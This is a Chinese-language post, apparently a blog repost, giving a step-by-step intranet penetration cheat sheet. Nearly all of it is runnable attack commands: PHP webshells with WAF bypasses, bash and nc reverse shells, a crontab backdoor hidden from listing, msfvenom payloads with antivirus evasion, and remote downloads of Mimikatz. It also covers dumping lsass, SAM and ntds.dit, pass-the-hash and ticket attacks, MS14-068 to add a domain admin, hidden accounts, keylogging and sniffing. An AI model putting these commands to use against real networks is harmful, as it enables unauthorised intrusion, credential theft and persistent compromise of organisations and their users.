1. 程式人生 > >史上最強內網滲透知識點總結

史上最強內網滲透知識點總結


獲取 webshell 進內網

測試主站,搜 wooyun 歷史洞未發現歷史洞,github, svn, 目錄掃描未發現敏感資訊, 無域傳送,埠只開了80埠,找到後臺地址,想爆破後臺,驗證碼後臺驗證,一次性,用 ocr 識別,找賬號,通過 google,baidu,bing 等搜尋,相關郵箱,域名等加常用密碼組成字典,發現使用者手冊,找賬號,發現未打碼資訊,和預設密碼,試下登陸成功,找後臺,上傳有 dog,用含有一句話的 txt 檔案

`<?php eval($_POST['cmd']);?>`

打包為 zip,php 檔案

`<?php include 'phar://1.zip/1.txt';?>`

即可,c 刀被攔,修改 config.ini 檔案

`php_make @eval(call_user_func_array(base64_decode,array($_POST[action])));`

用回撥函式,第一個為函式名,二個為傳的引數

前期資訊收集

query user || qwinsta 檢視當前線上使用者

net user  檢視本機使用者

net user /domain 檢視域使用者

net view & net group "domain computers" /domain 檢視當前域計算機列表 第二個查的更多

net view /domain 檢視有幾個域

net view \\\\dc   檢視 dc 域內共享檔案

net group /domain 檢視域裡面的組

net group "domain admins" /domain 檢視域管

net localgroup administrators /domain   /這個也是查域管,是升級為域控時,本地賬戶也成為域管

net group "domain controllers" /domain 域控

net time /domain

net config workstation   當前登入域 - 計算機名 - 使用者名稱

net use \\\\域控(如pc.xx.com) password /user:xxx.com\username 相當於這個帳號登入域內主機,可訪問資源

ipconfig

systeminfo

tasklist /svc

tasklist /S ip /U domain\username /P /V 檢視遠端計算機 tasklist

net localgroup administrators && whoami 檢視當前是不是屬於管理組

netstat -ano

nltest /dclist:xx  檢視域控

whoami /all 檢視 Mandatory Label uac 級別和 sid 號

net sessoin 檢視遠端連線 session (需要管理許可權)

net share     共享目錄

cmdkey /l   檢視儲存登陸憑證

echo %logonserver%  檢視登陸域

spn –l administrator spn 記錄

set  環境變數

dsquery server - 查詢目錄中的 AD DC/LDS 例項

dsquery user - 查詢目錄中的使用者

dsquery computer 查詢所有計算機名稱 windows 2003

dir /s *.exe 查詢指定目錄下及子目錄下沒隱藏檔案

arp -a

發現遠端登入密碼等密碼 netpass.exe  下載地址:

https://www.nirsoft.net/utils/network_password_recovery.html獲取 window vpn 密碼:

mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit  wifi 密碼:

netsh wlan show profile 查處 wifi 名

netsh wlan show profile WiFi-name key=clear 獲取對應 wifi 的密碼ie 代理

reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet

Settings" /v ProxyServer

reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"pac 代理

reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet

Settings" /v AutoConfigURL   //引子 t0stmailpowershell-nishang

https://github.com/samratashok/nishang

其他常用命令

ping       icmp 連通性

nslookup www.baidu.com vps-ip dns 連通性

dig @vps-ip www.baidu.com

curl vps:8080  http 連通性

tracert

bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一種上傳檔案 >= 2008

fuser -nv tcp 80 檢視埠 pid

rdesktop -u username ip linux 連線 win 遠端桌面 (有可能不成功)

where file win 查詢檔案是否存在

找路徑,Linux 下使用命令 find -name *.jsp 來查詢,Windows 下,使用 for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i

netstat -apn | grep 8888   kill -9 PID   檢視埠並 kill

遠端登入內網主機

判斷是內網,還是外網,內網轉發到 vps

netstat -ano   沒有開啟 3389 埠,複查下

tasklist /svc,查 svchost.exe 對應的 TermService 的 pid,看 netstat 相等的 pid 即 3389 埠.

在主機上新增賬號

net user admin1 admin1 /add & net localgroup administrators admin1 /add

如不允許遠端連線,修改登錄檔

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

如果系統未配置過遠端桌面服務,第一次開啟時還需要新增防火牆規則,允許 3389 埠,命令如下:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

關閉防火牆

netsh firewall set opmode mode=disable

3389user 無法新增:

http://www.91ri.org/5866.html

**隱藏 win 賬戶**

開啟 sys 許可權 cmd:

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'

add user 並隱藏:

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')

win server 有密碼強度要求,改為更復雜密碼即可:

滲透技巧——Windows 系統的帳戶隱藏

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/

windows 的 RDP 連線記錄:

http://rcoil.me/2018/05/%E5%85%B3%E4%BA%8Ewindows%E7%9A%84RDP%E8%BF%9E%E6%8E%A5%E8%AE%B0%E5%BD%95/

linux bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

`bash -i` 互動的 shell

`&` 標準錯誤輸出到標準輸出

`/dev/tcp/10.0.0.1/8080` 建立 socket ip port

`0>&1` 標準輸入到標準輸出

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/IP/port;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

猥瑣版

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/IP/PORT;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for whoami%100c\n")|crontab -

詳細介紹

https://github.com/tom0li/security_circle/blob/master/15288418585142.md

ngrok-backdoor

Grok-backdoor 是一個簡單的基於 python 的後門,它使用 Ngrok 隧道進行通訊。Ngrok 後門可以使用 Pyinstaller 生成 windows,linux 和 mac 二進位制檔案。

雖然免殺,但如果開 win 防火牆會提示,生成後門時會詢問是否捆綁 ngrok,選擇 no 時,在被攻擊機執行時需聯網下載 ngrok,執行後,telnet 連線即可.

https://github.com/deepzec/Grok-backdoor

veil

這裡,安裝問題有點多,我用 kali-2018-32 安裝成功,先安裝下列依賴,後按照官方即可。

apt-get install libncurses5*

apt-get install libavutil55*

apt-get install gcc-mingw-w64*

apt-get install wine32

生成shell

./Veil.py

use 1

use c/meterpreter/rev_tcp

在 win 用 mingw 下 gcc 編譯 bypass 360

gcc -o v.exe v.c -lws2_32

使用之前生成的 veil.rc

msfconsole -r veil.rc

一句話開啟 http 服務,虛擬機器裡開啟,在外訪問虛擬機器 ip 即可下載虛擬機器檔案:

`python -m SimpleHTTPServer 80`

ew

tools:

http://rootkiter.com/EarthWorm

新版 tools:

http://rootkiter.com/Termite/

**正向:**

*被攻擊機(跳板):*

temp 目錄下:

unzip ew.zip

file /sbin/init (檢視 linux 位數)

chmod 755 ew_for_Linux

./ew_for_Linux -s ssocksd -l 9999 (偵聽 0.0.0.0:9999)

netstat -pantu|grep 9999 (檢視是否偵聽成功)

*攻擊機:*

proxychain 設定 socks5 為跳板 ip port

proxychain nmap 即可以用跳板代理掃描其他主機

**反向:**

*攻擊機:*

chmod 777 ./ew_for_linux64

./ew_for_linux -s rcsocks -l 1080 -e 2333 即被攻擊機連線本機 2333 埠,轉發到本機的 1080 埠,訪問本機的 1080 埠,相當訪問被攻擊機的 2333

設定

proxychain socks5 本主機 ip port:1080

proxychain 代理即可

*被攻擊機:*

chmod 777 ew_for_linux

./ew_for_Linux32 -s rssocks -d 192.168.1.100 -e 2333

nc

nc 簡單使用

https://tom0li.github.io/2017/05/06/nc/

linux root 許可權

mknod /tmp/backpipe p  

/bin/sh 0</tmp/backpipe | nc ip port 1>/tmp/backpipe

許可權不夠用

`mkfifo /tmp/backpipe`

以上用 nc 監聽即可

lcx

被攻擊機

lcx.exe -slave 139.1.2.3 8888 10.48.128.25 3389

vps      

lcx.exe –listen 8888 5555

在本機 mstsc 登陸 139.1.2.3:5555 或在 vps 連線 127.0.0.1:5555

netsh win自帶(只支援 tcp )360 攔

將本地80轉到192.168.1.101:8080埠

netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.1.101 connectport=8080

通過連線1.1.1.101的8082埠,相當連線1.1.1.101可訪問的內網192.168.2.102的3389埠

netsh interface portproxy add v4tov4 listenaddress=1.1.1.101 listenport=8082 connectaddress=192.168.2.102 connectport=3389

go+msf & py+msf bypass360

msf 編碼生成後,用:

go build -ldflags="-H windowsgui -s -w"

即可,詳細參考以下 link

http://lu4n.com/metasploit-payload-bypass-av-note/

http://hacktech.cn/2017/04/20/msf-AntiVirus.html

提權

win 提權輔助工具,原理主要通過 systeminfo 補丁資訊比對漏洞庫, 工具連結

https://github.com/GDSSecurity/Windows-Exploit-Suggester/

linux 提權輔助

https://github.com/jondonas/linux-exploit-suggester-2

感謝前輩收集的提權 exp:

windows-kernel-exploits Windows 平臺提權漏洞集合

https://github.com/SecWiki/windows-kernel-exploits

linux-kernel-exploits Linux 平臺提權漏洞集合

https://github.com/SecWiki/linux-kernel-exploits

msf

linux 相關 payload:

linux/x86/meterpreter/reverse_tcp

linux/x86/meterpreter/bind_tcp

linux/x86/shell_bind_tcp

linux/x86/shell_reverse_tcp

linux/x64/shell/bind_tcp

linux/x64/shell/reverse_tcp

linux/x64/shell_bind_tcp

linux/x64/shell_bind_tcp_random_port

linux/x64/shell_reverse_tcp

windows 相關 payload:

windows/meterpreter/reverse_tcp

windows/meterpreter/bind_tcp

windows/meterpreter/reverse_hop_http

windows/meterpreter/reverse_http

windows/meterpreter/reverse_http_proxy_pstore

windows/meterpreter/reverse_https

windows/meterpreter/reverse_https_proxy

windows/shell_reverse_tcp

windows/shell_bind_tcp

windows/x64/meterpreter/reverse_tcp

windows/x64/meterpreter/bind_tcp

windows/x64/shell_reverse_tcp

windows/x64/shell_bind_tcp

目標伺服器為 64 位用 x64 監聽,反彈 meterpreter 用含有 meterpreter 的模組,反彈普通的 shell (例如 nc),shell_reverse_tcp 模組監聽, 例如 msf:

反彈 shell  

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

監聽:

windows/meterpreter/reverse_tcp

反彈 shell  

nc -e cmd.exe ip port

監聽

windows/shell_reverse_tcp

meterpreter 下上傳

upload file

下載

download file

Msf 程序注入(測試 win10 沒成功,win2008 可以,360 會攔)

meterpreter > getuid

meterpreter > getpid

meterpreter > ps

meterpreter > migrate 676

Msf hash

meterpreter > run hashdump      sys

meterpreter > run post/windows/gather/smart_hashdump  需要 sys 許可權

getsystem 存在 uac,用 msf bypass,但特徵明顯

meterpreter > search bypassuac

msf powerdump load mimikatz 不太好用

Msf 的持續後門

**Persistence: **

`run persistence -h` 用於建立啟動項啟動,會建立登錄檔,建立檔案。(X86_Linux 不支援此指令碼)

run persistence -U -i 10 -p 10390 -r free.ngrok.cc

會被 360 攔,-i 10 10 秒請求一次, 使用 powershell 執行也被監控而被 360 攔截

meterpreter 的 `run getgui -e` 命令可以開啟成功。360 會提示阻止

`Run metsvc -h` :用於建立服務,會建立 meterpreter 服務,並上傳三個檔案,使用-r引數可以解除安裝服務 ,被攔

Msf powershell

meterpreter > load powershell

meterpreter > powershell_shell

PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');

Ps > Invoke-Mimikatz -DumpCreds

Msf Router

2 個或多個路由之間,沒有配置相應的路由表,不能訪問,獲得一臺機器 shell session   新增路由,使 msf 可以在當前 shell session 下以被攻擊機訪問其他內網主機,

meterpreter > run get_local_subnets

meterpreter > run autoroute -s 172.17.0.0/16  新增路由

meterpreter > run autoroute -p  檢視路由

meterpreter > run autoroute -d -s 172.17.0.0/16  刪除

MS17-010

meterpreter > background

msf exploit(multi/handler) > use auxiliary/scanner/smb/ smb_ms17_010

msf auxiliary(scanner/smb/smb_ms17_010) > set rhosts 172.17.0.0/24

msf auxiliary(scanner/smb/smb_ms17_010) > set threads 50

msf auxiliary(scanner/smb/smb_ms17_010) > run

先利用 `exploit/windows/smb/ms17_010_psexec`,win10 舊版依舊可以,新版設定  smbuser,smbpass 即可

Msf 掃描

經過上面設定路由即可使用以下 scan:

use auxiliary/scanner/portscan/syn

use auxiliary/scanner/portscan/tcp

proxychains 設定 socks4 為以下設定,即可在本地代理掃描

use auxiliary/server/socks4a

Msf 埠轉發 portfwd

將 192.168.1.2.100 內網轉發到本地 4443 port,流量大不好用

portfwd add -L 0.0.0.0 4443 -p 3389 -r 192.168.2.100

Msf 截圖(沒被 360 攔沒提示,或許有意外收穫)

meterpreter > use espia

meterpreter > screengrab

Msf 嗅探

meterpreter > use sniffer

meterpreter > sniffer_interfaces

meterpreter > sniffer_start 5

meterpreter > sniffer_dump 5 /tmp/1.pcap

meterpreter > sniffer_stop 5

鍵盤記錄

Msf 鍵盤記錄在 win 不會建立新程序

meterpreter > keyscan_start

meterpreter > keyscan_dump

meterpreter > keyscan_stop

Keylogger (tip: 可以把管理工具,如 navicat, putty, SecureCRT, PLSQL 設定記住密碼) --redrain ixkeylog

linux>=2.63 推薦 --redrain

遠端命令執行

at\schtasks\psexec\wmic\sc\ps

2012 r2 起,預設埠 5985,系統自帶遠端管理 winrs

winrs -r:192.168.1.100 -u:administrator -p:pwd ipconfig

這裡 schtasks 用著很舒服,

schtasks /create /tn mytask /tr F:\Desktop.exe /sc minute /mo 1   每分執行1次

如果程式有引數用引號

"C:\procdump64.exe -accepteula -ma lsass.exe lsass.dmp"

`/RU` 可以以 system 啟動,例如

schtasks /Create /TN test /SC DAILY /ST 00:09 /TR notepad.exe /RU SYSTEM

schtasks /create /tn mytask /tr "C:\procdump64.exe -accepteula -ma lsass.exe lsass.dmp" /sc minute /mo 2

schtasks /Query /TN mytask

net time

schtasks /Query /TN mytask

schtasks /Delete /TN mytask /F

mimikatz + procdump 獲得記憶體 hash

如果伺服器是 64 位,要把 Mimikatz 程序遷移到一個 64 位的程式程序中,才能檢視 64 位系統密碼明文。32 位任意

執行

procdump.exe -accepteula -ma lsass.exe lsass.dmp(管理許可權)

後 lsass.dmp 放到 mimikatz.exe 同目錄,執行以下命令

mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"

匯出當前

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

Windows Server 2012, 部分 Windows Server 2008 預設無法使用 mimikatz 匯出明文口令

解決方法:啟用 Wdigest Auth, cmd:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

powershell:

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

重啟或者使用者再次登入,能夠匯出明文口令, 參考下文:

3gstudent 自動Dump-Clear-Text-Password-after-KB2871997-installed

https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed

SAM-hash

管理許可權:

reg save HKLM\SYSTEM Sys.hiv

reg save HKLM\SAM Sam.hiv

mimikatz:

lsadump::sam /sam:Sam.hiv /system:Sys.hiv

pass the hash

wmiexec 普通許可權即可

https://github.com/maaaaz/impacket-examples-window

domain=TEST user=test1

wmiexec -hashes 00000000000000000000000000000000:99b2b135c9e829367d9f07201b1007c3 TEST/[email protected] "whoami"

需要管理許可權

mimikatz "privilege::debug" "sekurlsa::pth /user:abc /domain:test.local /ntlm:hash"

meterpreter > run post/windows/gather/hashdump

meterpreter > background

msf > use exploit/windows/smb/psexec

msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp

msf exploit(psexec) > set SMBuser Administrator

msf exploit(psexec) > set SMBPass xxxxxxxxxxxx9a224a3b108f3fa6cb6d:xxxxf7eaee8fb117ad06bdd830b7586c

msf exploit(psexec) > exploit

meterpreter > shell

安裝了 KB2871997 補丁或者系統版本大於等於 windows server 2012 時,記憶體不再明文儲存密碼,1,改登錄檔後,登出再次登入,可以使用,schtasks 等執行命令無法用管理員許可權。2.用 ptk,ptt。例外,打補丁後 administrato(SID-500) 依舊可以pth

https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Pass-The-Hash%E7%9A%84%E5%AE%9E%E7%8E%B0/

pass the key

需要免殺:

mimikatz "privilege::debug" "sekurlsa::ekeys"  獲取使用者的aes key

mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:asdq379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c"  注入aes key

dir \\\計算機名

pass the ticket

不需要管理員許可權

kekeo "tgt::ask /user:abc /domain:test.local /ntlm:hash"

匯入ticket:

kekeo "kerberos::ptt [email protected][email protected]"

程式地址:

https://github.com/gentilkiwi/kekeo

ntds.dit

vssadmin 方法 >= win 2008

查詢當前系統的快照

vssadmin list shadows

建立快照

vssadmin create shadow /for=c:

獲得 Shadow Copy Volume Name 為 `\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47`

複製 ntds.dit, copy 第一個引數為建立快照時位置:

copy \\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47\windows\NTDS\ntds.dit c:\ntds.dit    

複製 system 和 sam

copy \\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47\windows\system32\config\system c:\

copy \\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47\windows\system32\config\sam c:\

刪除快照

vssadmin delete shadows /for=c: /quiet

獲取將以上 system,sam, ntds.dit 放到 /root/ntds_cracking/ 下,執行

python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/SYSTEM LOCAL

py 地址:

https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py

域滲透——獲得域控伺服器的 NTDS.dit 檔案

http://www.4hou.com/technology/10573.html

dc 定位

nltest dclist:xx.xx

net time /domain

systeminfo 中的 domain

ipconfig /all 中的 DNS Suffix Search List

掃描53埠,找 dns 位置

set log

net group "domain controllers" /domain

PowerView Get-NetDomainController

PowerView 地址:

https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

windows log

微軟第三方資訊收集工具 LogParser.exe psloglist.exe 等

powerhsell 神器

nishang

https://github.com/samratashok/nishang

spn掃描

https://github.com/nullbind/Powershellery/tree/master/Stable-ish

PowerSploit

https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

針對ps的Empire

https://github.com/EmpireProject/Empire

ipc$

D:>net use \\\192.168.1.254\c$ "pwd" /user:user     //連線192.168.1.254的IPC$共享,用unc路徑

D:>copy srv.exe \\\192.168.1.254\c$ //複製本地 srv.exe 到C根目錄

D:>net time \\\192.168.1.254         //查時間

D:>at \\\192.168.1.254 10:50 srv.exe //用at命令在10點50分啟動 srv.exe (這裡360會攔截)

D:>net use \\\192.168.1.254\c$ /del

ms14-068 Kerberos 漏洞利用:

生成 TGT:用於偽造

whoami /all   獲得:使用者@ 域名、使用者 sid、域主機

python ms14068.py -u [email protected] -p password -s sid -d dc.xxx.com

ms14068.exe -u [email protected] -p password -s sid -d dc.xxx.com

會生成 [email protected]

注入 TGT:

klist

klist purge 清除所有憑證,等一會在執行下列命令

寫入記憶體:

mimikatz.exe "kerberos::ptc c:\[email protected]"

若成功

dir \\dc.xxx.com\c$

net user admin [email protected] /add /domain

net group "Domain Admins" admin /add /domain

msf 的模組 `ms14_048_kerberos_checksum` 也可以檢測

工具:

https://www.t00ls.net/viewthread.php?tid=28207&from=favorites

https://github.com/gentilkiwi/kekeo

GPP 漏洞利用

win2008 增加,一般域使用者都可訪問敏感檔案

密碼存在 SYSCOL 目錄下:

Groups.xml, 這個檔案是域管通過 GPP 設定或修改本地密碼留下的

Services\Services.xml,

ScheduledTasks\ScheduledTasks.xml,

Printers\Printers.xml,

Drives\Drives.xml,

DataSources\DataSources.xml

net use \\\域控(如pc.xx.com) password /user:xxx.com\username

dir \\\域控\SYSVOL /s /a > sysvol.txt

findstr /i "groups.xml" sysvol.txt

找到 cpassword

解密過程:

set-executionPolicy bypass

powershell -ep bypass     啟動 ps

Import-Module .\GPP.ps1

Get-DecryptedCpassword  xxxxxxxxxxxxxx

指令碼link:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1

利用 SYSVOL 還原組策略中儲存的密碼

https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8SYSVOL%E8%BF%98%E5%8E%9F%E7%BB%84%E7%AD%96%E7%95%A5%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/

總結

首先,利用 webshell 執行開篇的命令收集內網前期資訊(不侷限用 webshell),也可以用 msf 等平臺,或 powershell 收集資訊,判斷機器所處區域,是 DMZ 區,還是辦公區,核心 DB 等;機器作用是檔案伺服器,Web,測試伺服器,代理服務,還是 DNS,DB 等;網路連通性,文中也提到測試 dns,tcp,http 等命令,理清內網拓撲圖,網段,掃描內網,路由,交換機,埠等判斷是域還是組,組的話,用常見 web 方法,域的話 gpp,kerberos,黃金白銀票據,抓密碼,這裡注意密碼有的有空格,pth,ptk,spn 掃描,ipc,445,web 漏洞,各種未授權,密碼相同等,期間會遇到提權,bypass uac,bypass av.

某些大佬語錄

利用漏洞配置不當獲取更多主機許可權

常見應用漏洞:

struts2、zabbix、axis、ImageMagic、fastcgi、Shellshock、redis未授權訪問、Hadoop、weblogic、jboss、WebSphere、Coldfusion

常見語言反序列化漏洞

php、Java、python、ruby、node.js

資料庫漏洞及配置不當

mssql Get-SQLServerAccess、MySQL 低版本 hash 登陸、MySQL 低版本Authentication Bypass、域內 mssql 憑證獲取密碼、monggodb 未授權訪問、memcache 配置不當

內網中很多 web 應用存在常見漏洞、使用有漏洞的中介軟體和框架、弱口令及配置不當(注入、任意檔案讀取、備份、原始碼洩漏(rsync、git、svn、DS_Store)、程式碼執行、xss、弱口令、上傳漏洞、許可權繞過…)

web應用、及資料庫中尋找其他伺服器密碼資訊(ftp、mail、smb、ldap儲存、sql...)

系統備份檔案(ghost)中讀密碼

在已有控制權限主機中,檢視各瀏覽器書籤、cookie、儲存密碼、鍵盤記錄收集相關敏感資訊、查詢登錄檔中儲存密碼、讀取各客戶端連線密碼、putty dll 注入、putty 密碼擷取、ssh 連線密碼,以獲取更多主機許可權

推薦工具:

NetRipper、Puttyrider.exe、ProwserPasswordDump.exe、LaZagne.exe

ms08-067 遠端溢位(極少能碰到)

cmdkey /list 遠端終端可信任連線連線 netpass.exe 讀取該密碼

arp 欺騙中間人攻擊(替換 sql 資料包、認證憑證獲取、密碼獲取極大不到萬不得已不會用)

WPAD 中間人攻擊(全稱網路代理自動發現協議、截獲憑證該種方法不需要 ARP 欺騙,比較好用的一種方法(使用 Responder.py/net-creds.py))翻閱相關檔案及以控制資料庫中可能儲存配置口令(別忘了回收站)

用已有控制權限的郵箱賬號以及前期所瞭解到的資訊進行欺騙(社會工程學)

定向瀏覽器資訊 ip 資訊定向掛馬(0day)

用以收集的密碼(組合變換密碼)對各服務進行爆破

其他使用者 session,3389 和 ipc 連線記錄 各使用者回收站資訊收集

host 檔案獲取和 dns 快取資訊收集 等等

殺軟 補丁 程序 網路代理資訊 wpad 資訊。軟體列表資訊

計劃任務 賬號密碼策略與鎖定策略 共享資料夾 web 伺服器配置檔案

vpn 歷史密碼等 teamview 密碼等 啟動項 iislog 等等

主動手段 就是 snmp 掃交換機路由網路裝置(有 tcp 連線存活表列 一般可以定位到經常訪問的服務 ip)

遍歷 內網的所有段 + tracert 跟蹤路由 一下拓撲基本就清楚了

被動手段就是上內部通訊平臺 一般是郵箱

如果是有堡壘隔離和 vlan 隔離的還要拿到相應許可權網路裝置做管道穿越才行 通訊都做不了就不要談後續滲透了

橫向滲透 smb 感染 pdf doc + RDP 感染管理機 動靜小一點就插管道連線釣 NTHASH

域控只能看看 普通使用者機上有沒有令牌可以偽造 ms14-068 是否存在

蒐集的資訊列出來,就不貼了:

伺服器當前所在網段的所有主機埠

伺服器 ARP 快取

伺服器上的服務

內網中其他 HTTP 服務

滿足容易利用的漏洞埠 (MS17010 / 445)

抓包嗅探還是很有必要的 (千萬不要 ARP %@#@@651#@^#@@#@@###@@!)

共享檔案

密碼

在行動之前思考幾分鐘,有沒有更好的辦法

思考一個問題多個解決方案的利弊

儘量快速熟悉網路環境 -> [前提是你已經熟悉了伺服器環境]

對日誌要時刻保持敏感

看子網掩碼、計運算元網大小,判斷有沒有 VLAN

選取自己熟悉的協議進行資訊蒐集

網路命令一定要熟

對於後門要加強維護

你必須保證你花費 98% 的時間都在瞭解他們

學習使用 Powershell 和熟練掌握埠轉發

滲透測試的本質是資訊收集

擴充套件閱讀

利用 NetBIOS 協議名稱解析及 WPAD 進行內網滲透

http://drops.xmd5.com/static/drops/pentesting-11799.html

記一次內網滲透

http://killbit.me/2017/09/11/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/

埠複用參考程式碼

https://xz.aliyun.com/t/1661

l3m0n:從零開始內網滲透學習

https://github.com/l3m0n/pentest_study

內網滲透知識大總結

https://www.anquanke.com/post/id/92646

Jboss引起的內網滲透

https://xz.aliyun.com/t/8#toc-2

JBoss引起的內網滲透-2

https://xz.aliyun.com/t/2166

JBoss引起的內網滲透-3

http://rcoil.me/2018/03/JBoss%E5%BC%95%E8%B5%B7%E7%9A%84%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-3/

Linux內網滲透

https://thief.one/2017/08/09/2/

Weblogic引發的血案

http://hone.cool/2018/03/29/Weblogic%E5%BC%95%E5%8F%91%E7%9A%84%E8%A1%80%E6%A1%88/

Weblogic引發的血案-2

http://hone.cool/2018/04/03/Weblogic%E5%BC%95%E5%8F%91%E7%9A%84%E8%A1%80%E6%A1%88-2/

Weblogic引發的血案-3

http://hone.cool/2018/04/12/Weblogic%E5%BC%95%E5%8F%91%E7%9A%84%E8%A1%80%E6%A1%88-3/

一次幸運的內網滲透

https://forum.90sec.org/forum.php?mod=viewthread&tid=10111&highlight=%C4%DA%CD%F8

對國外某內網滲透的一次小結

https://forum.90sec.org/forum.php?mod=viewthread&tid=9264&highlight=%C4%DA%CD%F8

針對國內一大廠的後滲透 – 持續

https://wsygoogol.github.io/2018/01/11/%E9%92%88%E5%AF%B9%E5%9B%BD%E5%86%85%E4%B8%80%E5%A4%A7%E5%8E%82%E7%9A%84%E5%90%8E%E6%B8%97%E9%80%8F-%E2%80%93-%E6%8C%81%E7%BB%AD/

一次內網滲透--域滲透

https://forum.90sec.org/forum.php?mod=viewthread&tid=6516&highlight=%C4%DA%CD%F8

代理轉發工具彙總分析

https://mp.weixin.qq.com/s/gztsWf8JaugMY0zfuqQxCQ

滲透測試技巧之內網穿透方式與思路總結

https://xz.aliyun.com/t/1623

ew

https://mp.weixin.qq.com/s/VBiwJmpfIcRpdhwwWt2Ciw

通過雙重跳板漫遊隔離內網

https://paper.tuisec.win/detail/60e44a10243185a

一款突破內網防火牆神器ngrok

https://paper.tuisec.win/detail/75e46a067d7b6f8

內網漫遊之SOCKS代理大結局

https://paper.tuisec.win/detail/fc04d85ab57c8bf

內網劍客三結義

http://www.5ecurity.cn/index.php/archives/227/

針對 win 的入侵日誌簡單處理

https://klionsec.github.io/2017/05/19/wevtutil/

Metasploit域滲透測試全程實錄(終結篇)

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=16655&highlight=Metasploit%E5%9F%9F%E6%B8%97

metasploit在後滲透中的作用

https://www.secpulse.com/archives/69766.html

Metasploit馳騁內網直取域管首級

https://www.anquanke.com/post/id/85518

Metasploit 「永恆之藍」兩種模組的利弊

https://www.bodkin.ren/index.php/archives/555/

一篇文章精通PowerShell Empire 2.3(上)

http://bobao.360.cn/learning/detail/4760.html

一篇文章精通PowerShell Empire 2.3(下)

http://bobao.360.cn/learning/detail/4761.html

Powershell攻擊指南黑客後滲透之道系列——基礎篇

https://www.anquanke.com/post/id/87976

Powershell攻擊指南黑客後滲透之道系列——進階利用

https://www.anquanke.com/post/id/88851

Powershell攻擊指南黑客後滲透之道系列——實戰篇

https://www.anquanke.com/post/id/89362

Windows環境下的資訊收集

https://mp.weixin.qq.com/s/37xtTdjVetMg5P1WaJvYvA

Windows滲透常用命令

http://www.myh0st.cn/index.php/archives/261/

滲透的本質是資訊蒐集(第一季)

http://blog.csdn.net/micropoor/article/details/79400904

後滲透攻防的資訊收集

https://www.secpulse.com/archives/51527.html

域滲透基礎簡單資訊收集 基礎篇

https://xianzhi.aliyun.com/forum/topic/237/

Linux 機器的滲透測試命令備忘表

http://www.91ri.org/17575.html

黑客遊走於企業windows內網的幾種姿勢

https://paper.tuisec.win/detail/4973d8fa7741cb3

內網滲透測試定位技術總結

http://www.mottoin.com/92978.html

內網滲透——網路環境的判斷

https://paper.tuisec.win/detail/bc7c4b2c3145d47

滲透經驗 | Windows下載遠端Payload並執行程式碼的各種技巧

http://www.freebuf.com/articles/system/155147.html

滲透技巧——Windows系統遠端桌面的多使用者登入

